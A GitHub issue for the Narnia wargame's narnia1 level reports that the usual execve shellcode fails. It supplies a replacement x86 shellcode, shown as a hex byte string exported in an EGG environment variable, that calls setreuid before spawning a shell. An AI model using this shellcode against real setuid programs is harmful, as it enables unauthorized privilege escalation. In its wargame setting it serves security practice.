Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

narnia1 binary results in Permission denied #8

Open
spencerdcarlson opened this issue Feb 26, 2018 · 0 comments
Open

narnia1 binary results in Permission denied #8

spencerdcarlson opened this issue Feb 26, 2018 · 0 comments

Comments

@spencerdcarlson
Copy link

For narnia1 - execve("/bin/sh") doesn't work anymore. Instead use setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0)

export EGG=`python -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant